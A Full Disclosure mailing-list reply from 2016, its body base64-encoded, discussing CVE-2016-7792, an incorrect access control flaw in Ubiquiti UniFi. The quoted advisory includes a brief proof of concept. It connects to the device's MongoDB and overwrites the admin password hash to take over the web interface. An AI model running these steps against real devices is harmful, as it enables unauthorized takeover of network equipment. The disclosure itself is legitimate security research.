Re: Critical Vulnerability in Ubiquiti UniFi

Tim Schughart <[email protected]> Mon, 3 Oct 2016 12:22:29 +0200
Newsgroups gmane.comp.security.fulldisclosure,gmane.comp.security.bugtraq,gmane.comp.security.web-applications
Message-ID <[email protected]>
SGkgQ2FybG9zLCAKCnlvdSBhcmUgY29ycmVjdCB0aGF0IG1vbmdvIGlzIGJvdW5kIHRvIDEyNy4w
LjAuMSBvbmx5LiBCdXQgeW91IGFyZSBhYmxlIHRvIGdldCBpdCByZW1vdGUgaWYgeW91IGFyZSB1
c2luZyB0aGUgVW5pZnkgQ29udHJvbGxlciBTb2Z0d2FyZS4gCgpTbyB0aGUgZGIgZ2V0cyB0dW5u
ZWxlZCB0byB5b3VyIGRldmljZS4gCgpUZXN0IGVudmlyb25tZW50OiAKMS4gSSBoYXZlIGNvbmZp
Z3VyZWQgdGhlIEFQIHRvIG91ciBuZXR3b3JrLiAKMi4gSSBoYXZlIHJlbW92ZWQgZXZlcnkgcGll
Y2Ugb2Ygc29mdHdhcmUgZm9yIGNvbmZpZ3VyaW5nIHRoZSBhcC4gCjMuIEkgaGF2ZSBpbnN0YWxs
ZWQgdGhlIFVuaWZ5IE1hbmFnZXIgKGZvciBNYWMgNS4yLjcuKQo0LiBJ4oCZbSBhYmxlIHRvIGNv
bm5lY3QgdG8gdGhlIGRhdGFiYXNlIHZpYSAxMjcuMC4wLjEgCgpOZXR3b3JrIHRvcG9sb2d5OiAK
VGhlIGFjY2VzcyBwb2ludCBpcyBjYWJsZWQgdG8gYSBBVk0gRnJpdHpCb3guIE91ciB0ZXN0IGNs
aWVudCBpcyBjb25uZWN0ZWQgdmlhIFctTGFuIHByb3ZpZGVkIGJ5IEZyaXR6Qm94IC0gc28gdGhl
cmUgaXMgbm8gZGlyZWN0IGNvbm5lY3Rpb24gdG8gdGhlIGFwLiAgCgoKQmVzdCByZWdhcmRzClRp
bSBTY2h1Z2hhcnQKIAo+IEFtIDAxLjEwLjIwMTYgdW0gMTU6MzAgc2NocmllYiBDYXJsb3MgU2ls
dmEgPHIzcGVrQHIzcGVrLm9yZz46Cj4gCj4gSGkgVGltIQo+IAo+IEkgY2FuIGJlIG1pc3Npbmcg
c29tZXRoaW5nIGhlcmUgYnV0IEkganVzdCBjaGVja2VkIHRoaXMgb24gYSBmcmVzaCBpbnN0YWxs
ZWQgVW5pZmkgQ29udHJvbGxlciBhbmQgbW9uZ29kIGlzIGJpbmRpbmcgdG8gbG9jYWxob3N0IG1h
a2luZyB0aGlzIGEgbm9uLWlzc3VlLiBPciwgeW91IGhhdmUgdG8gZ2V0IGEgcmVtb3RlIHNoZWxs
IGZpcnN0IGJlZm9yZSB5b3UgY2FuIGdldCBhIGNvbm5lY3Rpb24gdG8gdGhlIERCLiBBbSBJIG1p
c3Npbmcgc29tZXRoaW5nPwo+IAo+IFRoYW5rcywKPiBDYXJsb3MgU2lsdmEKPiAKPiBPbiBGcmks
IFNlcCAzMCwgMjAxNiBhdCAxMDo0OSBBTSwgVGltIFNjaHVnaGFydCA8dC5zY2h1Z2hhcnRAcHJv
c2VjLW5ldHdvcmtzLmNvbT4gd3JvdGU6Cj4gSGVsbG8gQGFsbCwKPiAKPiB0b2dldGhlciB3aXRo
IG15IGNvbGxlYWd1ZSB3ZSBmb3VuZCB0d28gdW5jcml0aWNhbCB2dWxuZXJhYmlsaXRpZXMgeW91
J2xsIGZpbmQgYmVsb3cuCj4gCj4gUHJvZHVjdDogVW5pRmkgQVAgQUMgTGl0ZQo+IFZlbmRvcjog
VWJpcXVpdGkgTmV0d29ya3MgSW5jLgo+IAo+IEludGVybmFsIHJlZmVyZW5jZTogPyAoQnVnIElE
KQo+IFZ1bG5lcmFiaWxpdHkgdHlwZTogSW5jb3JyZWN0IGFjY2VzcyBjb250cm9sCj4gVnVsbmVy
YWJsZSB2ZXJzaW9uOiBVbmlmeSA1LjIuNyBhbmQgcG9zc2libGUgb3RoZXIgdmVyc2lvbnMgYWZm
ZWN0ZWQgKG5vdCB0ZXN0ZWQpCj4gVnVsbmVyYWJsZSBjb21wb25lbnQ6IERhdGFiYXNlCj4gUmVw
b3J0IGNvbmZpZGVuY2U6IHllcwo+IFNvbHV0aW9uIHN0YXR1czogTm90IGZpeGVkIGJ5IFZlbmRv
ciwgdGhlIGJ1ZyBpcyBhIGZlYXR1cmUuCj4gRml4ZWQgdmVyc2lvbnM6IC0KPiBSZXNlYXJjaGVy
IGNyZWRpdHM6IFRpbSBTY2h1Z2hhcnQsIEltbWFudWVsIELDpHIsIEtoYW5oIFF1b2MgUGhhbSBv
ZiBQcm9TZWMgTmV0d29ya3MKPiBTb2x1dGlvbiBkYXRlOiAtCj4gUHVibGljIGRpc2Nsb3N1cmU6
IDIwMTYtMDktMzAKPiBDVkUgcmVmZXJlbmNlOiBDVkUtMjAxNi03NzkyCj4gQ1ZTU3YzOiA4Ljgg
QVY6QS9BQzpML1BSOk4vVUk6Ti9TOlUvQzpIL0k6SC9BOkgKPiAKPiAKPiBWdWxuZXJhYmlsaXR5
IERldGFpbHM6Cj4gWW91IGFyZSBhYmxlIHRvIGNvbm5lY3QgdG8gdGhlIGFjY2VzcyBwb2ludHMg
ZGF0YWJhc2UsIGJlY2F1c2Ugb2YgYW4gYnJva2VuIGF1dGhlbnRpY2F0aW9uIChPV0FTUCBUT1Ax
MCkuIFNvIHlvdSBhcmUgYWJsZSB0byBtb2RpZnkgdGhlIGRhdGFiYXNlIGFuZCByZWFkIHRoZSBk
YXRhLiBBbiBwb3NzaWJsZSBzY2VuYXJpbyB5b3UnbGwgZmluZCBpbiBQb0Mgc2VjdGlvbi4KPiAK
PiBSaXNrOgo+IEFuIGF0dGFja2VyIGdldHMgYWNjZXNzIHRvIHRoZSBkYXRhYmFzZSBhbmQgZm9y
IGUuZy4gaXMgYWJsZSB0byBjaGFuZ2UgdGhlIGFkbWlucyBwYXNzd29yZCwgbGlrZSB5b3Ugc2Vl
IGluIFBvQyBiZWxvdy4KPiAKPiBQb0M6Cj4gIDEuIEdlbmVyYXRlIFNIQTUxMiBIYXNoIHdpdGgg
ZS5nLgo+ICBta3Bhc3N3ZCAtbSBzaGEtNTEyCj4gCj4gIDIuIENvbm5lY3QgdmlhIG5ldHdvcmsg
dG8gZGF0YWJhc2UsIGUuZy4gOgo+ICBtb25nbyAtLXBvcnQgMjcxMTcgLS1ob3N0IHRhcmdldF9p
cAo+IAo+ICAzLiBDaGFuZ2UgcGFzc3dvcmQgdmlhIGNvbW1hbmQKPiAgImRiLmFkbWluLnVwZGF0
ZSh7Im5hbWUiOiJQcm9TZWMifSwgeyRzZXQgOiB7Inhfc2hhZG93IjoKPiAgIiQ2JFNlOWk1STdr
M2hJOGQ0YmskQ3FFWFJVd2s3YzdBLzYyRS9IY0M0U3JNU0xPckJkbTd3UnZ3VFM0dC5uTkpBM1JZ
dGEwUmZ6SnB1UkVnLnFjQUhzUEdXOUdqd20za3JKUk9YemJDdi4ifX0pIgo+ICA0LiBMb2dpbiB2
aWEgd2ViIGludGVyZmFjZSB3aXRoIG5ldyBwYXNzd29yZAo+IAo+IAo+IEJlc3QgcmVnYXJkcyAv
IE1pdCBmcmV1bmRsaWNoZW4gR3LDvMOfZW4KPiAKPiAKPiBUaW0gU2NodWdoYXJ0Cj4gQ0VPIC8g
R2VzY2jDpGZ0c2bDvGhyZXIKPiAKPiAtLQo+IFByb1NlYyBOZXR3b3JrcyBlLksuCj4gRWxsaW5n
c2hvaGwgODIKPiA1NjA3NyBLb2JsZW56Cj4gCj4gV2Vic2l0ZTogaHR0cHM6Ly93d3cucHJvc2Vj
LW5ldHdvcmtzLmNvbQo+IEUtTWFpbDogdC5zY2h1Z2hhcnRAcHJvc2VjLm5ldHdvcmtzLmNvbQo+
IE1vYmlsZTogKzQ5ICgwKTE1NyA3OTAxIDU4MjYKPiBQaG9uZTogKzQ5ICgwKTI2MSA0NTAgOTMw
IDkwCj4gCj4gIlRoaXMgRS1NYWlsIGNvbW11bmljYXRpb24gbWF5IGNvbnRhaW4gQ09ORklERU5U
SUFMLCBQUklWSUxFR0VEIGFuZC9vciBMRUdBTExZIFBST1RFQ1RFRCBpbmZvcm1hdGlvbiBhbmQg
aXMgaW50ZW5kZWQgb25seSBmb3IgdGhlIG5hbWVkIHJlY2lwaWVudChzKS4gQW55IHVuYXV0aG9y
aXplZCB1c2UsIGRpc3NlbWluYXRpb24sIGNvcHlpbmcgb3IgZm9yd2FyZGluZyBpcyBzdHJpY3Rs
eSBwcm9oaWJpdGVkLiBJZiB5b3UgYXJlIG5vdCB0aGUgaW50ZW5kZWQgcmVjaXBpZW50IGFuZCBo
YXZlIHJlY2VpdmVkIHRoaXMgZW1haWwgY29tbXVuaWNhdGlvbiBpbiBlcnJvciwgcGxlYXNlIG5v
dGlmeSB0aGUgc2VuZGVyIGltbWVkaWF0ZWx5LCBkZWxldGUgaXQgYW5kIGRlc3Ryb3kgYWxsIGNv
cGllcyBvZiB0aGlzIEUtTWFpbC4gVkFUIElEOiBERTI5MDY1NDcxNCBsZWdhbCBkb21pY2lsZSBL
b2JsZW56LCBIUkEgMjE2MjUu4oCcCj4gCj4gIkRpZXNlIEUtTWFpbCBNaXR0ZWlsdW5nIGthbm4g
VkVSVFJBVUxJQ0hFLCBkZW0gQkVSVUZTR0VIRUlNTklTIFVOVEVSTElFR0VOREUgdW5kL29kZXIg
UkVDSFRMSUNIIEdFU0NIw5xUWlRFIEluZm9ybWF0aW9uZW4gZW50aGFsdGVuIHVuZCBpc3QgYXVz
c2NobGllw59saWNoIGbDvHIgZGVuL2RpZSBnZW5hbm50ZW4gQWRyZXNzYXRlbiBiZXN0aW1tdC4g
SmVkZSB1bmJlZnVndGUgTnV0enVuZywgV2VpdGVyZ2FiZSwgVmVydmllbGbDpGx0aWd1bmcgb2Rl
ciBWZXJzZW5kdW5nIGlzdCBzdHJlbmdzdGVucyB2ZXJib3Rlbi4gU29sbHRlbiBTaWUgbmljaHQg
ZGVyIGFuZ2VnZWJlbmUgQWRyZXNzYXQgc2VpbiB1bmQgZGllc2UgRS1NYWlsIE1pdHRlaWx1bmcg
aXJydMO8bWxpY2ggZXJoYWx0ZW4gaGFiZW4sIGluZm9ybWllcmVuIFNpZSBiaXR0ZSBzb2ZvcnQg
ZGVuIEFic2VuZGVyLCBsw7ZzY2hlbiBkaWVzZSBFLU1haWwgdW5kIHZlcm5pY2h0ZW4gYWxsZSBL
b3BpZW4uIFVTdC1JZE5yLjogIERFMjkwNjU0NzE0LCBBbXRzZ2VyaWNodCBLb2JsZW56LCBIUkEg
MjE2MjUuIgo+IAo+IF9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f
X19fCj4gU2VudCB0aHJvdWdoIHRoZSBGdWxsIERpc2Nsb3N1cmUgbWFpbGluZyBsaXN0Cj4gaHR0
cHM6Ly9ubWFwLm9yZy9tYWlsbWFuL2xpc3RpbmZvL2Z1bGxkaXNjbG9zdXJlCj4gV2ViIEFyY2hp
dmVzICYgUlNTOiBodHRwOi8vc2VjbGlzdHMub3JnL2Z1bGxkaXNjbG9zdXJlLwo+IAoKCl9fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fClNlbnQgdGhyb3VnaCB0
aGUgRnVsbCBEaXNjbG9zdXJlIG1haWxpbmcgbGlzdApodHRwczovL25tYXAub3JnL21haWxtYW4v
bGlzdGluZm8vZnVsbGRpc2Nsb3N1cmUKV2ViIEFyY2hpdmVzICYgUlNTOiBodHRwOi8vc2VjbGlz
dHMub3JnL2Z1bGxkaXNjbG9zdXJlLw==